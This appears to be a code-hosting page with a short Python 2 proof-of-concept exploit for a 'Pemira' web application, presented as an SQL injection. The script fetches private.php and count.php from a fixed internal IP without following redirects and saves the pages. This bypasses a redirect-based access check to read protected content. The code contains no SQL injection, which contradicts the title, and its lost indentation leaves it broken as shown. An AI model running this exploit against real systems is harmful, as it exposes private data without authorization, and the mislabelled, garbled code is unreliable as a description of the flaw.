PoC for Pemira Development Application SQLi Vulnerability
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

21 lines
507 B

#!/usr/bin/python2
import requests
HOST = "172.16.61.64"
def main():
private_page = requests.get("http://%s/private.php" %
HOST, allow_redirects=False)
with open('private.html', 'w') as file:
file.write(private_page.text)
count_page = requests.get("http://%s/count.php" %
HOST, allow_redirects=False)
with open('count.html', 'w') as file:
file.write(count_page.text)
if __name__ == '__main__':
main()